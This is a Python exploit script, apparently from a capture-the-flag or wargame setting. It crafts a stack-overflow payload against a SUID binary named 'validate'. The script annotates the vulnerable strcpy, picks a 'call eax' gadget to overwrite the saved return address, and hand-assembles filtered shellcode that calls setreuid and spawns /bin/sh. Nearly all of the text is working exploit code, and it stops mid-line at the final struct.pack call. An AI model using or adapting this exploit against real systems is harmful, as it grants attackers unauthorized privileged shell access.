#!/usr/bin/env python3 # --------------------------------------------------------------------------- # scgen_stage2.py - build the argv[1] string that exploits SUID /usr/local/bin/validate # # Analysis of validate() (disassembled from the real binary, md5 9e7865f1e663529db5d8b1ecb7118490): # # 80484be/80484c5: i = 0 # loop: if (argv[1][i] == 0x46) { printf(...); exit(1); } <- 'F' filter # i++ until i == strlen(argv[1]) # 804851a..8048527: strcpy(buf@ebp-0x70, argv[1]) <- overflow # 804852c: lea eax,[ebp-0x70] <- EAX = &buf # epilogue: add esp,0x84; pop ebx; pop ebp; ret # # => On `ret`, EAX already points at our string inside the 112-byte buffer. # Overwrite saved EIP with `call eax` (found by scanning the binary for # FF D0: 0x80484af and 0x804862b; we use 0x804862b) to execute buf. # Constraints: the whole argv[1] must not contain 0x46 ('F') or 0x00 (C string). # # argument layout: [shellcode][pad 'A' to 116 bytes][p32(0x804862b)] # ^ EAX -> buf[0] # # Shellcode: setreuid(1001,1001) (so euid survives execve as anansi) # execve("/bin//sh", ["/bin//sh", NULL], NULL) # --------------------------------------------------------------------------- import base64 import struct GADGET = 0x804862b # call eax (__do_global_ctors_aux loop) EIP_OFF = 116 # 0x70 buffer + 4 saved EBP = offset of saved EIP ANANSI_UID = 1001 sc = bytes([ 0x31, 0xC0, # xor eax,eax 0x66, 0xB8, 0xE9, 0x03, # mov ax,0x3E9 ; 1001 - no 0x46/0x00 bytes 0x89, 0xC3, # mov ebx,eax ; ruid 0x89, 0xC1, # mov ecx,eax ; euid 0x31, 0xC0, # xor eax,eax 0xB0, 0x45, # mov al,0x45 ; 69 0x40, # inc eax ; 70 = setreuid (0x46 built, not emitted) 0xCD, 0x80, # int 0x80 0x31, 0xD2, # xor edx,edx 0x52, # push edx 0x68, 0x2F, 0x2F, 0x73, 0x68, # push "//sh" 0x68, 0x2F, 0x62, 0x69, 0x6E, # push "/bin" 0x89, 0xE3, # mov ebx,esp 0x52, # push edx ; argv[1] = NULL 0x53, # push ebx ; argv[0] 0x89, 0xE1, # mov ecx,esp 0xB0, 0x0B, # mov al,0x0B ; execve 0xCD, 0x80, # int 0x80 ]) assert 0x00 not in sc and 0x46 not in sc, "bad byte in shellcode" assert len(sc) <= EIP_OFF payload = sc + b"A" * (EIP_OFF - len(sc)) + struct.pack("